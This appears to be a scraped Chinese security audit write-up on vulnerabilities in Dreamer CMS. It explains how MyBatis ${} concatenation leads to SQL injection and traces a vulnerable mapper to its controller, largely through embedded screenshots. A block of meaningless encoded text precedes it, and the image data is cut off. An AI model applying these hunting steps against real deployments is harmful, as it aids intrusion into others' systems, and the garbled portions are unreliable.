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<p><span class=content-title>快速审计记录(四)--某管理系统(梦想家内容管理系统(Dreamer CMS)SQL注入+越权+未授权+XSS+Shiro漏洞)</span>
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<span class="username cell"> nihao123123</span></a> <span class=i-seprator> / </span>
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<h1 id=toc-0>SQL注入查找</h1>
<p>Mybatis审计技巧,众所周知,MyBatis支持两种参数符号,一种是#,另一种是$,#使用预编译,$使用拼接SQL。在SQL语句中使用like,order by,in语句中,使用 #{} 会将对象转成字符串,形成 order by \"user\" desc 造成错误,因此很多研发会采用${}来解决,从而造成SQL注入<br>
查看mapper文件,或者全局搜索<code>${</code><br>
<a id=img0 href="https://cdn.nlark.com/yuque/0/2024/png/21762749/1707454588651-35db5ef3-95d3-4aeb-88fb-ac98daf4ef33.png#averageHue=%23252c2f&amp;clientId=u1a050abd-bc2d-4&amp;from=paste&amp;height=58&amp;id=u3dcb3b4d&amp;originHeight=87&amp;originWidth=483&amp;originalType=binary&amp;ratio=1.5&amp;rotation=0&amp;showTitle=false&amp;size=12584&amp;status=done&amp;style=none&amp;taskId=ubccef180-4fc3-485f-9cf7-4773b973d49&amp;title=&amp;width=322" title><img src="data:image/png;base64,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 truncated
找到一处这里使用的是$拼接符号<br>
其对应的mapper的dao层如<a id=img1 href="https://cdn.nlark.com/yuque/0/2024/png/21762749/1707454633020-52834c7e-52c7-4af2-a4ce-e31429c62044.png#averageHue=%23222429&amp;clientId=u1a050abd-bc2d-4&amp;from=paste&amp;height=83&amp;id=u241b78d2&amp;originHeight=124&amp;originWidth=832&amp;originalType=binary&amp;ratio=1.5&amp;rotation=0&amp;showTitle=false&amp;size=15608&amp;status=done&amp;style=none&amp;taskId=u899bdfdb-9f60-48ce-b99c-9f9c44b4a45&amp;title=&amp;width=554.6666666666666" title><img src="data:image/png;base64,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 truncated
查看此方法被那个controller调用<a id=img2 href="https://cdn.nlark.com/yuque/0/2024/png/21762749/1707454705364-39c91ecf-81f3-4d94-9929-618a2bc6ec7f.png#averageHue=%23222428&amp;clientId=u1a050abd-bc2d-4&amp;from=paste&amp;height=91&amp;id=u3c8f1f66&amp;originHeight=136&amp;originWidth=742&amp;originalType=binary&amp;ratio=1.5&amp;rotation=0&amp;showTitle=false&amp;size=21285&amp;status=done&amp;style=none&amp;taskId=u8860b43b-bb2e-4531-bb71-45e82936b81&amp;title=&amp;width=494.6666666666667" title><img src=data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAuYAAACICAYAAACr+C5QAAAgAElEQVR4nOzdd3Rc153g+e8LlQs55wwCJADmJGZlKljBttyW3WE87tw9Z/f0nD07Z3fPzM6end05PTO709PjdnvbHey2u61u2ZIoURIlMYsZJAgiEDnnAirHV/Xe/lFgBkiCAilIuh//YRX4wq1XL/zevb97r1RaVmkgCIIgCIIgCMLnSv68CyAIgiAIgiAIggjMBUEQBEEQBGFFEIG5IAiCIAiCIKwAIjAXBEEQBEEQhBVABOaCIAiCIAiCsAKoZov98y6DIAiCIAgrlM1uwmRSPu9ifOEFA1ESCTEQnnB3qiyLSnNBEARBEBamqioms/p5F+MLT5bjGIb+eRdDWOFEVC4IgiAIgiAIK4B4BRYEQRAEYUGvv/46jz32GJIEP/v539F5tePzLpIgfKmJwFwQBEEQhAU5nU6ys7MBMJvNn3NpBOHLT6SyCIIgCIIgCMIKIAJzQRAEQRAEQVgBRGAuCIIgCIIgCCvACgzMJSRJ+rwLIXyOJEmcA8sneSzF0Xw0xLkrCMLSSWDNY/1Tr/Dr+9cgGytzrHPZ7GDDC9/luZ11ZFsQz5WHZGV1/nSUs+e5J9lQFOfiwXc51+cinPi8CyU8MpKKo3Ajr35zN2meVj745w/oDYhL/4GZ0ihrfIynd1cR7DrN0SPNjEc+70J9iTmreeqVZ2jM8nHqzV9xYSyAJoYsXrGqM0vvuUwgFlrSNnWWFlDp+tKWlyWJ6eDsktYRVjZDMlGy6WV+/bVdFFkSBC6Pr9iAV1ZM5FRu4tnqjeze28nhX/2Swx0u4ivzPeIL6+EE5pKMajKjSjrxuEb8Pme6spbV0bSqmuoCJ/Lqs3SOzxEOLMeTTUJWlOQECXGNmJZY4u1zYbLJglmVkYBELELs2vdUzNjMyVnS9HiU6Ip9OksoqglVlZElCQwDXU8Qj8dJLPjAmF/eJKFrGvH4Uh9D9yiNyURGw1a21pQT81hYV3WU3svRZdzDyiDJCqqqoijJc8cwdPREHC2e4JaKEknFYjUhJzTCsfiS96OmZVGyei1ra0pw42boaivjA9qyfY/7IckqZouKlIgTi8VZqVcCALKCqpowKbc+FvWEhqbFuVcMZatqYENtBSWZVuJrjtI2HUSLLscVIiErKiazghHX0Jbp/vXFJKEoZiy3TIxnYBgJtIS2YIAgySomWUWVQNc1ND3BF3nyxVxHlgjOHwkJWVZQTQroCTQtvuzXnS6ZKN/zL/i9Vxqwh0Y48e47fHKmi8QjaHWTFBNmk4p8y64M4rEo2iIXSDzi48jf/mfmdj7B03uaeOrXfp2UX/2Uty7OkFixrxNfPA8lMDdnV7D9uW+zP3+Sj9/+ez6+en/VdNHxAbqHanDqOh19cwQjy/UYt1FYu5NXf2sHxqVDvPEPJ5lahhO/8pk/5Pv7yrCbo1z82/+Dn17yk9DB0fRt/t1vrUfVE0wd+wv+77d6l+E7LDcZc0o+jbueZM/GWvJSLUgxP1MD7Zw5eYLmnhkid1yc6dTv3s8Lz5Qw9P4B3j/agWcZS2TE43h6rtA2loZzroOu4S9fUI5iI79uMzt3bmFNeS5Os0HMN0PfpRN8dLKVMXf4etAg5+3hX/3rFyns/gX/+q/OLPKytLi438NEXzc9pTqBoUHGZh5tUA5mMgu38NofP09a3yf89C8/YmwFp3mYsyvZ8ew3eHljfvIPkowsawydfpc